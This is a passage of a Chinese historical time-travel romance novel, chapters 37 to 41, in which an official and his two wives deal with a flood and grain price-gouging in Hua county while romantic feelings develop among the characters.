一见到他，张县令的脸上便露出谄媚的笑容：“宋大人，您一路舟车劳顿，实在是辛苦了。我已经让下人把官舍收拾干净，今日就可以入住。”
宋晏初淡淡地道：“张县令，有劳。”
张县令看了看他身边的几个人，小心翼翼地问：“这几位是？”
宋晏初看了眼站在自己身边的陆琛，想了想，回答道：“这是我的随从。”
而后又指了指另一边站着的陆思云和莫婉晴，介绍：“这是我的两位夫人。”
张县令听了立卡鞠躬道歉：“原来是少卿夫人们，是小人眼拙了，请夫人们莫见怪。”
陆思云对虚以委蛇之人实在是厌恶不已，所以并未理会他。
宋晏初继续说：“张县令，宋某初来乍到，对水患的情况并不了解。皇上远在皇城却心系百姓，命我特来协助你们赈灾，在下是一刻都不敢耽误。所以今日用完晚膳，可否请相关人员到官舍来，一起商讨抗洪之事。”
“那是自然，那是自然。我一定带他们准时前来找大人。那就请宋大人宋夫人先稍作休息。我命人去准备晚膳。”
“有劳。”
用完晚膳，稍作调整，众人便按照约定的时间，在官舍的一间空房内，一起商讨如何救治水患。
陆琛是必然在现场的。
然而当莫婉晴和陆思云也一起出现在这里的时候，几位官员的表情全都十分精彩。
宋晏
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初知道他们是何想法，因为很早之前他也同这些人一样，觉得女子不应插手男子的事务，女子就应该在家相夫教子。
但是他的两位夫人用她们出色的办事能力改变了他的想法。
“诸位不用介怀，我的两位夫人都是我的军师，是我让她们一同参与。”
既然他都这么说了，底下的人自然不敢多言半句。
陆琛以随从的身份站在宋晏初的身后，听到他的话，忍不住看了他一眼。
宋晏初听了各个部门对目前水患情况的汇报，以及水患期间做了哪些措施，眉头紧皱。
水患情况严重，已经冲毁了华县及周围许多百姓的房屋，被洪水冲走的人更是不计其数。
华县将灾民安置在县令府衙附近的祠堂内。
灾民的具体情况，宋晏初打算明日亲自去查看。
眼下最关键的，就是如何治理水患。
据河埽司所报，洪水自长江上游奔腾而下，将华县兴建的大坝冲毁，才导致这次水患严重。
“目前洪水迅猛，想要重修水坝困难极大，人手不足，实属为难。”
陆思云想起自己原来的世界，每年到了夏季暴雨天气，也会洪水泛滥。解放军叔叔们也是第一时间冲在抗洪最前线，用自己的身躯来与自然灾害做对抗，让人敬畏又佩服。
但是如今这个朝代，官兵根本不能像解放军那般训练有素，让他们用自己的身躯来抗洪更是天方夜谭。
只是，她突然想到，以前在电视里看解放军抗洪报道的时候，他们背着的是一个个沙包，也许这个方法可行。
“我有一个办法。”陆思云立刻说道。
她一开口，屋内所有人全都看向她。
陆思云毫不畏惧地上前一步，继续说：“既然方才您说堤坝被洪水冲破，短时间内无法修缮。眼下灾情严重，如果再不阻挡洪水，只怕华县下面的郡县都会保不住。”
“夫人有何方法，下官不令赐教。”
“可以用沙袋堵住河坝受损的地方。”
“沙袋？”
“对，用大一些的麻袋装满沙子，然后将它们垒在缺口处，沙子遇到水会吸水，吸水之后沙袋更加沉重，数量多一点，垒成一道墙，也许能抵挡住洪水一段时间。”
“这个方法甚好，甚好！”
陆思云的办法得到了大家的一直赞同，自己的意见被人接受，她心里还是有些小得意的。
看到陆思云勇于站出来说出自己的办法，莫婉晴也受到了鼓舞，鼓起勇气，从宋晏初的身后走了出来。
陆琛见到原本站在自己身旁认真听着各位官员做汇报的莫婉晴此时走到了前面，眼里虽有差异，但脸上却依旧面无表情。
只是连他自己都没有察觉到，自从莫婉晴走到前面去以后，他的眼睛就一直盯着她，从未离开过。
莫婉晴面带笑容地款款走到众人面前，向在坐各位行了一个礼，然后开口道：“我也有两个治理水患的办法，想说与各位大人听。”
有了陆思云的先例，其他官员全都不敢小觑了宋晏初的夫人。
“宋夫人请说，我等洗耳恭听。”
38.第 38 章
“宋夫人请说，我等洗耳恭听。”
“各位大人都是治水专家，我一介妇人，在你们面前班门弄斧了。方才我看了华县的水患路线图，发现这边上方是两股河流汇聚成一条，然后直捣向华县。所以洪水才会如此猛烈。方才妹妹说的将沙包垒成墙壁来阻挡洪水，我觉得这个办法极好。”
“只不过这个垒沙包的地方我建议放在上方这两处河流口处。两条河流比较窄，水势相对小，沙包墙的抗洪时间能更久一些。”
“姐姐说得极是。”
陆思云只想到了使用沙包的方法，却没有想到如何更好更准确的将沙包运用到位。
“此外，光靠沙包垒墙这样的方法，只能拖延一段时间，并不是长久之计。”
“不知宋夫人有何更好的办法？”
“关键还是在这上流处，大人们可以多请几个工匠，挖渠引流，减少上方的水流汇聚到下游，减轻下游水流的压力。”
听完莫婉晴的建议，河埽司的各位官员全都向她们抱拳致敬：“夫人们人中龙凤，我等实在是佩服，佩服啊！”
陆思云和莫婉晴相视一笑。
谁都没有发现，站在她们身后的两个男人，向她们投去欣赏的眼神。
“既然办法都有了，那么各位个人明日一早便实施下去。每日将进度和成效汇报于我。”
“是，下官遵命！”
第二天一早，宋晏初便带着两位夫人前往祠堂查看灾民的情况。
滞留的灾民比他们想得要多，大多都是老弱妇孺，男丁已经全被征用了去修水坝。
陆思云和莫婉晴看着灾民的惨状，不自觉地悲从中来。
他们有的甚至还是个刚学会走路的孩子。
陆思云蹲下身子，抱起那个嗷嗷待哺的孩子，他满身污泥，眼神透着纯真，并不知道自己正在发生怎么样的厄运，心里揪心一样的疼。
没过多久，就有衙役的人提着两个木桶走进来，嚷嚷着：“吃饭了，吃饭了。”
所有人全都像无声的饿狼一般，拿着自己的破碗扑过去排队。
宋晏初走过去，看到桶内的白汤，不解地问：“这是什么？”
衙役回答：“粥啊。”
陆思云一把抢过他手里的大勺子，在汤水里捣了几下，然后愤怒地问：“你这是粥吗？连粒米都没有，这叫人如何能吃饱肚子？”
想不到那位衙役竟然满脸地不屑：“你还想吃饱肚子？有这个米汤喝就不错了。”
宋晏初拿出自己的官令，皱着眉沉声问：“怎么回事？说清楚！”
衙役一看是皇城来的官，立刻摆出一副做小伏低的模样，哪里还有方才那嚣张的气焰。
“这位大人，是这样的。华县目前市面上卖粮的店铺，要么没货，要么价高到承受不起。整个华县根本买不到一斤米。所以只能给这些灾民喝米汤。”
“那别的县呢？拨给你们的灾银，你们都花到什么地方去了？怎么能给老百姓喝汤，这不是要饿死他们？”
虽然陆思云也气愤不已，但她还是忍不住看了一眼站在身旁的宋晏初，这还是第一次见他发这么大火。
“这……小的不知，小的只是奉命行事。”
看来，赈灾的灾银确实悉数都进了那些无良官员的口袋之中。
私吞官银的事情交给陆琛来办，眼下最重要的是改变灾民的饮食条件。
“云青，你赶紧带些银子，去各家米铺卖点米，至少这几天先让灾民们吃上一顿饱饭。”
“是。”
宋晏初一连施粥好几日，许多外地的灾民听到这里有粥喝，纷纷前来。
一时间，祠堂里挤满了前来避难的灾民，并且每日都有新的灾民前来。
灾民越来越多，宋晏初用灾民高价买米，这样僧多粥少的情况，怕是支撑不了太久。
看着眼前的情形，莫婉晴却眉头紧皱，一副心事重重的模样。
陆思云见状问：“莫姐姐，可是觉得有什么不妥？”
听见她这样问，宋晏初也转身看向了莫婉晴。
“我只是觉得，这样纵容米商哄抬米价，用灾银买高价米，也不是长久之计。”
这点宋晏初何尝不明白。
他虽然是带着灾银来，但终究是数额有限。
如今华县米价高的离谱，普通百姓根本买不起，这样灾民只会越来越多。
而他们带来的银子，只能解一时的燃眉之急，根源问题不得到解决，还是没有任何作用。
“夫人有何高见？”
莫婉晴沉吟片刻，抬头说：“从今日起，关闭粮仓，高价回收米铺的粮食。”
“什么！？”
没过几日，华县官府便出了一个公告，凡有粮者，三倍价格回收，童叟无欺。
世上真有如此好事？
那些米商个个都精明得很，他们是连官府都不相信的人。
但是他们又是图利之人，这么一大块肥肉放在他们面前，他们看得到却又吃不到，也实在是如蚂蚁啃噬肌肤一般难耐。
于是便有几个胆子比较大的米商，带着米去衙门试上一试。
反正就算是假的，也不会有太大的损失。
没想到，对方毫不犹豫地将米全数收下，并且按照公告上说的，给了三倍的价钱。
这下米商们全都炸开了锅，纷纷拿出自己的库存，带去衙门卖。
无论他们拿来多少，莫婉晴都让衙门的人照单全收，并且按照三倍价格给他们银子。
几天下来，宋晏初带来的赈灾银就用去了大半。
这下就连一直相信莫婉晴的陆思云，都有些沉不住气了。
“姐姐，您这唱得是哪出啊？你再这样肆无忌惮地高价回收米商手里的米，我们可就没有银子了！”
莫婉晴笑着安慰道：“妹妹莫急，现在时候未到，到时候你就知道我想做什么了。”
原本在一旁没有做声的陆琛，此时忍不住笑出了声。
陆思云不解地看向他，不知道此人又在笑些什么。
陆琛走到莫婉晴面前，微微作揖道：“宋大夫人足智多谋，陆某佩服。”
莫婉晴愣愣地看着他。
没有想到，竟然会有人懂她。
陆思云看看莫婉晴，又
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看看陆琛，然后一脸困惑地看向宋晏初。
他坐在那沉默不语，若有所思。
莫婉晴又嘱咐云青道：“你去挑选一个最见钱眼开的米商，诱惑他去邀请外地的米商运米过来卖给衙门。”
“是。”
听了她的这句吩咐，宋晏初这才茅塞顿开，原本紧皱的眉头也舒展开来。
“原来如此，原来你是做这打算。”
“你们都懂，就我不懂？”
合着就欺负她一个人头脑简单，是吧？
在场的这几位，加起来八百个心眼，自己确实是比不过。
没过多久，华县出现了许多外地的米商，他们主要目的还是将米高价卖给衙门回收之用。
莫婉晴看时机成熟，便让衙门停止高价回收粮食，并吩咐开仓放粮，将这些天高价回收来的米，全都按照市场原价投入到市场中去。
陆思云看到后，又开始摸不着头脑：“莫姐姐，你这到底是何意？三倍买来的大米，你这就原价放出去了？你为何做这亏本生意？”
莫婉晴还未开口，陆琛便替她回答：“此前衙门高价回收粮食。那些米商为了牟利，便将自己全部库存卖给了官府。但他们手中的大米本就不多，贪得无厌的他们就想要去外地买米运回。”
“不仅如此，宋大夫人还让云青去诱骗米商邀请外地的米商前来华县卖米。外地的米商将大米运到华县，路途遥远，需要运输成本。”
“如今衙门停止高价回收大米，并且将粮库里的粮食全都原价放出。市场上有了便宜的大米，谁还去买他们手中的高价米？为了不亏本，他们只能开始降价卖，甚至亏本卖，直到可以将他们手中的米全都卖完为止。”
“宋大夫人这一招，先是诱敌上钩，再瓮中捉鳖，逼的华县的物价失衡，米价不得不下降，实在是高明。”
陆思云激动地握住莫婉晴的手，眼里闪着崇拜的光芒：“莫姐姐，你实在太厉害了，简直是诸葛再世。”
莫婉晴受到夸奖，她看到屋内的人全都朝她露出赞赏的笑容，不觉有些羞怯。
以前未出阁时，也有不少人夸赞她琴艺高超，诗词歌赋写得极好。
但是她心里明白，这都是因为她是内阁大学士之女，才会得到他们的赏识。
他们都不是因为莫婉晴本身优秀而赞美她，他们赞赏的只是她的身份。
但是，现在屋子里的这些人，莫婉晴知道，他们欣赏的是她莫婉晴本人，而非内阁大学士之女，也不是大理寺少卿的大夫人。
她真的觉得很高兴。
莫婉晴不自觉地看向不远处站着的陆琛，发现对方目光灼灼，正一瞬不瞬地看着她，眼角带笑。
心，突然就慢了半拍。
随即她好似被电击了一般僵硬在原地。
她方才是心动了吗？
她怎么可以心动。
她明明已经嫁给宋晏初为妻，怎么还可以对别的男人心动？
上一世的苦头难道你还没有吃够吗？
她像是被人从头淋了一盆冷水，从头到尾透了个心凉。
清醒一点吧，莫婉晴！
39.第 39 章
解决了高价米的问题，百姓们全都可以正常买米，灾民也能吃上热乎的米饭。
河埽司也会将每日堤坝的修缮进度，抗洪进度都汇报给宋晏初。
一切都在有序进行，一切都在朝着好的方向发展。
既然赈灾之事得到了有效地解决，那么接下来则需要解决官员贪污灾银的案子。
华县受灾情况最为严重，但从结果来看，张县令并未采取任何行动。
他不仅怠慢堤坝的修补工作，甚至于对华县米商故意哄抬米价之事也视而不见。
要说他没问题，那才是骗鬼的。
陆琛是个做事狠绝之人，等宋晏初处理完赈灾之事，已经无需张县令的用处，他便一个人冲进了县令府，以一人之力将县衙所有衙役全都打趴下，直冲进里屋。
把张县令吓得直接躲在案桌底下，瑟瑟发抖不敢出来。
陆琛手持绣春刀，缓缓将刀插进刀鞘，眼里透着嗜血的光芒。
“张县令，你是自己从桌子底下爬出来，还是我抓你出来。”
“好汉饶命！我自己出来，不用脏了好汉的手。”
张县令一边说着，一边从案桌底下颤颤悠悠地爬出来，跪倒在陆琛脚下，拼命求饶：“好汉高抬贵手，你要什么你尽管提，我什么都满足，只求饶了我一条狗命。”
“真的，什么都能答应？”
“当然！当然！只要是小人力所能及的事，无论是什么事，都答应大侠。”
“很好。”陆琛在地上扔了一张纸一张笔，命令道：“将华县贪污灾银的人员名单和数量，如实写下来。”
听了他的话，原本还在求饶的张县令立刻愣住：“你说什么？”
“还需要我再说一遍？我的耐心可没有宋大人这么好。”
“你、你到底是谁？”直觉告诉他，此人并不是宋大人随从这么简单。
陆琛将自己的佩刀竖在他面前，冷笑道：“认识这个吗？”
绣春刀！
张县令瞪大了眼睛，这才意识到，眼前这个所向披靡的人，竟然是锦衣卫指挥使陆琛！
锦衣卫名声在外，就算是一个小小的华县，那也是如雷贯耳的。
张县令立刻放弃挣扎，跪坐在地上，将自己所知道的受贿人员名单全数写下，不敢有半点隐瞒。
陆琛拿到名单后，将名单折好放进衣襟内，然后扬长而去。
只留下张县令一个人跪在原地，面如死灰。
要变天了。
办完事的陆琛回到官舍，宋晏初并不知道他刚大闹完县衙，刚想与他商量如何调查贪污赃款一事。
谁知还没开口，陆琛便抢先开口：“华县贪污人员的名单我已拿到。明日我便出发，前往周边受灾郡县索要名单。等我全部排查完回来，便可一起回洛城复命。”
“你是怎么要到这份名单的？”宋晏初虽然心里已经猜到他是用这种方法拿到这份名单，但他还是想听陆琛亲自说。
“宋大人聪慧过人，难道还猜不出我用的什么方法？”可惜陆琛并不上他的套。
“难道你就不怕打草惊蛇？”
“张县令胆小如鼠，只想明哲保身，逼他交出名单简直不费吹灰之力。但是你放心，别的郡县我会暗中行事。”
宋晏初沉吟，他平日雷厉风行惯了，做事方法一向如此，倒也没什么值得意外的。
但是宋晏初总觉得不放心，于是提议：“我陪你一起去。”
谁知陆琛想都没想片刻，立即拒绝：“不用，这里治理水患和救助灾民还需宋大人坐镇。再说，我一个人，行事起来比较方便。”
“那你万事小心。”
难得听到别人关心自己，陆琛有些意外，竟然不知如何作答。
宋晏初并未觉察初异常，只是看他突然瞪着自己，有些不明所以：“陆大人，怎么了？”
陆琛这才反应过来，连忙道：“无事。”
虽然方才宋晏初质问自己闯了县衙会打扫惊蛇，他淡定回答了他的质疑。
但是陆琛也确实散心他们官官相护，互传消息，有所防备。
所以事不宜迟，他打算今晚就发出。
他牵着马，带着简单的行礼，走到官舍门口。
莫婉晴正在门口，似乎是在等他。
见到他带着行李，牵着马，她似乎一点都不意外。
莫婉晴面色平静地问：“陆大人这是要去哪里？”
“在下有事要出去几日。”
其实莫婉晴早就猜出他要去做什么，可是他不明说，她也不方便问。
毕竟他们身别有别，需要保持距离。
“那就祝陆大人，一切顺利。”
“宋大夫人保重。”
莫婉晴眼眶微酸，看着他翻身上马，回头看了她一眼，然后拉紧缰绳，呼啸而去。
她不自觉地上前几步，几次欲言又止，却终究什么也没说。
她能说什么呢？
她亦没有资格对他说任何话。
陆思云在她身后不远处，将此情此情尽收眼底。
她之前就察觉出莫婉晴与陆琛之间有些不对劲。
虽然她平时为人比较大咧，很多生活细节她都不甚在意。
但是陆思云终究是个警察，她天生就有一种过于常人的观察力，任何一些蛛丝马迹，只要她想，她有心，她在意，就都能被她发现。
所以，当发现莫姐姐对陆琛似乎有些不同时，她便开始有意无意地暗中观察他们二人。
现在，她几乎可以确定，莫婉晴对陆琛动了心。
但也仅此而已。
以莫婉晴的家教和为人，她是绝对不可能做任何出格之事。
这点，陆思云深信不疑。
只不过，同样作为女人，她有些同情莫姐姐。
她曾经向自己坦诚，说她对宋晏初并没有男女之情，之所以会选择顺从命运嫁给他，完全是因为上一世的遭遇让她不敢再任性。
如今在已经嫁给宋晏初之后，她才遇到让她心动的男子，这段情感注定是没有结果的。
莫婉晴看着远处漆黑的夜色良久，这才转身。
正好看到站在身后，对她报以微笑的陆思云。
一瞬间，她有种被抓包在场的错觉。
但当她看到陆思云温柔的笑容，她就知道，对方什么都明白。
于是
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她也朝她露出一抹无奈的笑容，眼泪却忍不住从眼角留下。
看到这一幕的陆思云，实在是心疼不已。
她连忙上前，拉住莫婉晴的手，柔声道：“莫姐姐，夜深了，我们回房吧。”
莫婉晴擦掉眼角的泪水，无声地点了点头。
房间内，陆思云泡了一壶茶放在案桌上，然后一人倒了一小杯。
“姐姐如果心情烦闷，可以跟我说说。漫漫长夜，我们可以互诉衷肠。”
莫婉晴到底是古代之人，心中道德标准极高，哪怕知道自己的那点心思早就已经被陆思云识破，却依旧想要拉住那张遮羞布，不肯将自己的心事袒露半分。
“妹妹多虑了，我只是最近有些累罢了。”
陆思云可不是她这样扭捏之人，她向来有什么说什么。
因此，她毫不犹豫地戳穿她：“姐姐心悦陆指挥使，对么？”
莫婉晴脸上的笑容立刻僵住。
随后她垂头，默默地端起桌上的茶杯喝了一口，并没有回答她的问题。
陆思云不着痕迹地叹了口气：“姐姐……”
莫婉晴却在这时打断她：“妹妹会不会瞧不起姐姐。”
“为何？”陆思云瞪大眼睛，她从未这么想过。
“因为我明明已经嫁给了夫君，心里却开始想着别的男人。我这般水性杨花……”
陆思云连忙握住她的手，沉声道：“姐姐千万不要这样说自己。我从来没这样想过姐姐半分。我知晓姐姐的为人，你绝对不是见异思迁的人。姐姐嫁给夫君并非真心，你对夫君也并无爱意，你有权利对别人动心。”
“可是我上一世，明明还喜欢别人……”
陆思云笑了，她觉得此时陷入自己小纠结里的莫婉晴很是可爱。
“姐姐你这一世不是还没遇到他嘛，可是你却先遇到了陆琛，也许这是老天爷冥冥中的安排。”
“冥冥中的安排。”莫婉晴低喃着这几个字出了神。
但随即她立刻摇头道：“无论这一世，我是先遇见了陆琛还是先遇到霍正义，我都已经是夫君的大夫人。既然已经是她人之妻，我就应该恪守本分，不能有别的妄想，别的贪念。”
“今夜，我猜到他要去做一件很危险的事，我很担心他，一时冲动，我便去门口送他。现在想来，十分后悔，这是万万不可的事，实在有违伦理。”
对于莫婉晴的纠结，陆思云非常理解。
这个朝代思想本就不开化，很难用现代人的思维去看待她们。
“莫姐姐，倘若有一天，我遇到了自己喜欢的人，我会去求夫君与我和离，然后堂堂正正地与我心爱之人在一起。”
听了她的话，莫婉晴猛的抬起头看着她，神情有些紧张：“妹妹有中意之人了？”
“那倒没有。我只是说一种可能。所以莫姐姐无需太过自责，喜欢一个人本没有错。只是现在因为伦理常规，你没办法跳出桎梏罢了。”
“那妹妹可有想过，也许妹妹中意之人，会是夫君呢？”
陆思云愣了下，随即笑道：“如若这样，那自然再好不过。”
“那妹妹觉得，夫君如何？你可欢喜他？”
40.第 40 章
“那妹妹觉得，夫君如何？你可欢喜他？”
陆思云沉默了，此前她从未想过这样的问题。
最初相遇之时，她只觉得这个男人过于一本正经，过于死板，对她诸多限制，让她觉得很讨厌。
可是后来，她竟然准许自己去六扇门当差，虽然是因为与她的赌注他赌输了，但是终究还是尊重了自己的意愿。
她又觉得，此人并不是那么冥顽不灵之人，还是有他的可取之处。
再后来，他在宴会上替自己说话，又带她来华县救治水患。
虽然相处中并没有浓情蜜意，但陆思云觉得，他在自己的心中已经越来越重要，因为他是她的夫君，是她的归属。
“我觉得他人好，对我也很好，很包容我，也能够容忍我做很多事，并且可以认可我。也许我在这个世界，再也找不出第二个男人，能够这样对我。”
听到她这样说，莫婉晴很欣慰。
“你能这样想，说明你已经慢慢能够发现夫君的优点。其实他从小就是这样正直严谨的人，这点他从来没有变过。”
“既然夫君这样好，姐姐为何不喜欢他呢？”
莫婉晴无奈地叹了口气：“有些事，是注定的。上一世我对他没有男女之情，这一世亦然。我可以把他当做自己的家人，当做自己的弟弟，却没办法当成一个男人，一个丈夫。”
陆思云突然有些同情宋晏初。
白月光心里根本没有他半点位置，现在还装了别的男人。
与莫婉晴聊完，陆思云却怎么都睡不着。
不光是因为知晓了莫婉晴对陆琛的感情，同时她也提醒了自己，让她自己意识到了宋晏初对于她的重要性。
既然睡不着，她便索性披了件外衣偷偷走出了房间。
其实今夜睡不着的，又何止是她一人，莫婉晴同样无眠。
可是她的烦恼是个无解之题，所以她想再多也是徒劳。
陆思云坐在官舍的天井下，抬头看着星空。
华县虽然遭受了灾难，但却不影响它依旧拥有这一片美丽的繁星。
看着天上一闪闪地星星，陆思云的烦闷好像消散了不少。
“怎么一个人在此处？”
背后突然传来声音，陆思云朝后望去，看到宋晏初一身白色薄衫站在那。
见到他，陆思云的脸上立刻露出了欣喜的笑容，连她自己也未察觉。
“夫君！你怎么也还未歇息？”
“在写这几天治理水患的公文，不知不觉便到这么晚了。”
宋晏初对待公事异常严谨认真，每日河埽司向他汇报完进度，他都会立刻写好当日的公文，让云青派人快马加鞭送往洛城，以便远在千里的皇上可以尽快知晓赈灾详情。
这几日天天如此，无一日例外。
“夫君有没有想过，等何时休沐了，可以去个有山有水好风光的地方，好好放松一番。”
经她这么一提醒，宋晏初这才发觉，自己似乎好久没有休沐了。
以往回府，莫婉晴对他冷淡疏离，楚星然又对他太过热情，整个宋府，大概只有书房能让他有刻的清静时光。
久而久之，他便鲜少回府，能尽量呆在大理寺他便呆在那处理公事。所以他已经许久未有休沐的时候了。
但此时此刻，被她这样一提醒，他却突然动了休沐的念头。
于是他想都没想地回答：“我知道城东郊区有一个蝴蝶谷，里面每到夏末就会有漫天飞舞的蝴蝶，美丽至极。到时候，我们一起去那，如何？”
“我们？是指我和夫君两个人么？”陆思云有些不确定地问。
宋晏初垂眸，低声道：“对，就我和你两个人。”
“那……莫姐姐怎么办？”
宋晏初听了她的问题，这才抬头看向他，淡淡地道：“你应当知道，婉晴对我并没有男女之情。她会嫁给我，只是因为我们自小就有的婚约。”
陆思云错愕。
原来他知道，他什么都知道。
所以他才会对莫婉晴一直以礼相待，才会一直都不勉强她做任何事。
只因她已经为了婚约被迫嫁给了他，他不希望再勉强她做任何她不愿意做的事。
她突然有些佩服眼前的这个男人。
“蝴蝶谷，我想和你一起去。”
陆思云缓缓地转头看向他。
与他四目相对，发现对方也在认真地看着他，目光灼灼。
陆思云脑袋嗡嗡的，一片空白，几乎不能思考。
他这是什么意思？
宋晏楚从椅子上站起来，看着呆若木鸡的陆思云，顿觉这样的她都十分恩爱。
他将她从椅子上拉起来，两人面对面站着。
在这片星空之下，宋晏初看着陆思云，眼底尽是温柔。
“等回了洛城，我想与你一起去蝴蝶谷，赏景弹琴，你可愿意？”
她该答应吗？
可是看他这样诚恳地向她发出邀请，让她如何忍心拒绝？
于是她遵从自己的本心，点了点头。
见他答应了自己的邀约，宋晏初向前走了一小步，然后轻轻地搂住了她。
二人在月光下，浅浅拥抱。
陆思云享受着他这片刻的温柔，心里想的却是：完蛋了，这下更加睡不着了。
一夜未眠，导致陆思云第二天精神萎靡，面色苍白。
同样脸色不好的还有莫婉晴，她的情况并没有比另一个好多少。
两人默默无声地洗漱完毕，一起走出房间。
刚一出门，就遇到正在往外走的宋晏初。
莫婉晴立刻上前行礼：“夫君，这么早就出去了么？”
宋晏初瞟了眼不远处的陆思云，而后点头回答：“今日想去修筑大坝的现场监察一下进度。”
“好，夫君早去早回。今日我和妹妹会继续去祠堂照顾生病的灾民。”
宋晏初点点头，然后看向站在远处并未上前行礼的陆思云，欲言又止。
但最终他还是什么都没说，大步出了门。
这下莫婉晴再精神不济，也瞧出两人的不对劲，特别是陆思云，非常的不对劲。
莫婉晴走过去，一脸审视地看着她，问：“妹妹昨夜，是不是与夫君发生了什么事？”
陆思
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云被她问得一个激灵。
她要不要告诉莫姐姐昨晚的事。
就算不告诉她，以莫婉晴的聪明才智，必然最后会推断出个前因后果来。
所以现在最好的办法，便是如实交代。
“什么？夫君昨夜邀请你去蝴蝶谷？”莫婉晴听了还是有些惊讶，但更多的还是惊喜。
陆思云木木地点头。
“其实我早就看出夫君对妹妹有意，只是妹妹对自己的感情过于迟钝，并未察觉。”
“姐姐早就看出来了？”
“这就是当局者迷。妹妹看别人看得自然清楚，但是轮到自己却看不真切，这也实属正常。”
陆思云想到昨晚莫婉晴与她互诉衷肠时说的话，自己被表白这样的事，她却是高兴不起来了。
“姐姐的感情如此艰难，而我却……我实在是有些高兴不起来。”
莫婉晴听了，心中十分感动，但她并不那般不大度之人，她立刻拉起陆思云的手，笑着说：“妹妹千万别这么想。夫君能与妹妹两情相悦，我是最乐于看到之人。你和夫君都是我的家人，我自然希望你们可以幸福。既然你们互相心悦彼此，那是再好不过的事。”
她说得如此自然，陆思云听了却脸红了起来：“我、我也没说我喜欢他啊。”
莫婉晴笑着刮了刮她的鼻子，揶揄道：“妹妹虽然最上没说喜欢夫君，但这一言一行，如此反常，都在诉说着自己的喜欢呢。”
陆思云被她逗得更加无地自容。
喜悦之后，冷静下来以后，陆思云觉得，她是得找个机会，好好地跟宋晏初谈一谈。
至少得告诉他，她到底是谁。
之后的几日，宋晏初早出晚归，每日都去工地上监工，他希望在陆琛收集完证据后，便立刻回洛城复命。
他想在离开之前，将大坝竣工，这样百姓才能没有后顾自忧，继续重振家园。
而莫婉晴和陆思云在祠堂照顾生病的灾民。
莫婉晴懂一些医术，虽然不能说多专业，但照顾病患日常是足够了。
有陆思云在一旁帮忙打下手，她更加得心应手，两人配合默契，将祠堂的病患照顾得甚为周到。
陆琛离开三日后，于深夜回到了华县，连夜赶路，他看上去有些疲惫，风尘仆仆的样子。
他能回来，就表示事情已经办妥，他已经将各郡县贪污灾银的官员名单收集完毕。
为了避免夜长梦多，宋晏初提议明日一早便起身出发。
莫婉晴自从陆琛回来，一直都是满脸担心地偷偷观察他。
发现他在说话的时候，会不自觉地握住左手手腕处。
她猜测他的左手腕有可能受伤了。
众人离散之际，她对宋晏初说道：“夫君，陆大人手腕受伤，我想留下来给他包扎一下，还望准许。”
对于莫婉晴的请求，宋晏初有些意外，印象里莫婉晴平时不会关心一个外人。
陆思云在旁助攻：“陆大人既然受伤了，就让莫姐姐给他包扎一下，不然伤口感染发热，会影响我们回洛城的进度。”
宋晏初觉得言之有理，便点头答应。
41.第 41 章
陆思云和宋晏初离开之后，房间内就只剩下莫婉晴和陆琛二人。
莫婉晴去别屋取来药箱，坐到陆琛对面，仔细为他处理伤口。
陆琛盯着垂头为她包扎伤口的莫婉晴，一言不发。
屋内寂静如斯，只有蜡烛芯燃烧发出的“噼啪”声，在这安静的屋内显得尤为突兀。
处理完伤口，莫婉晴收拾好药箱，轻声告辞：“陆大人早些休息。”
在她起身之际，陆琛突然伸手抓住了她的手臂。
将她拉回到自己面前，两人距离近在咫尺，彼此的呼吸缠绕在一起，气氛暧昧至极。
莫婉晴怔住。
她下意识抬眸，与他四目相对。
眼神交汇，彼此都读懂了对方眼神中的情愫。
莫婉晴垂眸，淡淡地提醒：“陆大人，请自重。”
陆琛看了她半晌，最终还是松了手。
莫婉晴失落地回到房间，陆思云正在屋内等她。
见了她，莫婉晴勉强露出一点苦笑：“让妹妹见笑了，方才谢谢妹妹。”
陆思云满脸担忧地看着她。
看她脸色苍白，陆思云关切地轻声问：“姐姐，你还好么？”
“说来惭愧，我昨日明明同你说要跟他保持距离，今日看到他受伤，却又忍不住……”
陆思云连忙握住她的手，安慰道：“姐姐千万不要这样想。姐姐再怎么冷静，人的情感又怎么能受理智的控制呢？姐姐情不自禁，这不是姐姐的错。”
莫婉晴突然心生好奇：“在妹妹的那个世界，男女的情感之事是如何的呢？”
陆思云立刻笑了起来，为她解惑：“在我原来的世界，男人和女人，喜欢就可以在一起，有无一纸婚书都可以。倘若不喜欢了，没有成亲的那便分开，成亲了的就和离，找下一个喜欢的。比这个世界要开放很多，自由很多。”
“竟有这样的事！”莫婉晴听后十分震惊。
“不仅如此，”陆思云露出神秘的笑容，继续说：“在我的那个世界，男子与男子，女子与子女，也是可以在一起的。”
“ 你说什么？”莫婉晴双手捂住嘴巴，满脸的不可置信，这样天方夜谭、有违常伦的话，她是第一次听到。
见她这般惊讶，陆思云心中有些得意。
她毕竟是二十一世纪的新人类，见过看过的，所处过的文明，都与古代人不一样。
“难怪你劝我遵从本心。只是我终究不能向思云妹妹所处的那个世界一般开化。我如今能从深闺大院里走出来，已经用了很大的勇气。我尚未有更大的决心来冲破这世间的伦理。上一世我已经因为我的自私，让我的家族蒙羞。这一世，我是段不能行差踏错半步，我不能再让我的父亲因我受到耻辱。”
“姐姐身上背负得太多，妹妹帮不上什么忙，但我会陪着姐姐，一起等待着姐姐能够重获幸福的那一天。”
两人又说了一些体己话，便各自睡下。
第二天一早，宋晏初四人便整装待发，带着手下的人离开了华县，回洛城复命。
宋晏初将剩下的灾银留在了华县，用于后续百姓家园重建的资金。
每个人都完成了自己的使命，所以回程的路人，大家的心情都比来时轻松。
只有陆琛依旧保持着高度的警惕。
他会这样，一是职业病，作为锦衣卫指挥使，他经常要替皇上处理各种棘手又危险的案子，一直过得是刀口舔血的日子，时刻保持紧惕是他的习惯。
第二个原因是他身上有贪污灾银的官员名单，名单上的官员虽都是郡县官，但背后牵扯之复杂，牵动之深，无法细想。
这份名单如果被顺利带到皇上面前，朝堂又会发生动荡。
直觉告诉他，背后那些利益相关者，是不会这么轻易就让他活着回到洛城。
宋晏初骑着马与他并肩而行，看着他一脸严肃，自然也想到了他的顾虑。
“如果能顺利回到皇城，这份名单，陆大人打算如何处置？”
陆琛侧头看了他一眼，毫不犹豫地说：“自然是直接呈给陛下，让陛下定夺。”
锦衣卫只效忠皇上一人，他会这样回答一点都不奇怪。
如果是他宋晏初本人，也会做这样的决定。
“此名单，牵扯甚广，怕是会引起朝局动荡。”
陆琛看着他，脸上露出些许不屑的笑容：“这不像是我认识的宋少卿会说的话。宋大人什么时候也开始关心朝堂局势了？我以为宋大人同我一样，只效忠于皇上一人。”
